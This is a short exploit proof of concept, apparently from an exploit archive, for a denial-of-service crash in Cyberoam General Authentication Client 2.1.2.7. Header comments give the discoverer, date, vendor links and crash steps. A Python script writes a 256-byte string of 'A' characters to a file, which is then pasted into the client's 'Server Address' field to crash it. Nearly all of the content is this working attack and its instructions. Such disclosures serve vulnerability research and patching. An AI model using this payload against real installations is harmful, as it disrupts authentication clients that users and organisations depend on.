#Exploit Title: Cyberoam General Authentication Client 2.1.2.7 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-23#Vendor Homepage: https://www.cyberoam.com#Software Link: https://download.cyberoam.com/solution/optionals/i18n/Cyberoam%20General%20Authentication%20Client%202.1.2.7.zip#Tested Version: 2.1.2.7#Tested on: Windows 7 Service Pack 1 x64#Steps to produce the crash:#1.- Run python code: cgac_2.1.2.7.py#2.- Open cgac_2.1.2.7.txt and copy content to clipboard#3.- Open Cyberoam General Authentication Client#4.- In "Server Address" field paste Clipboard#5.- Click on "Test"#6.- Crashed!
cod = "\x41"* 256
f = open('cgac_2.1.2.7.txt','w')
f.write(cod)
f.close()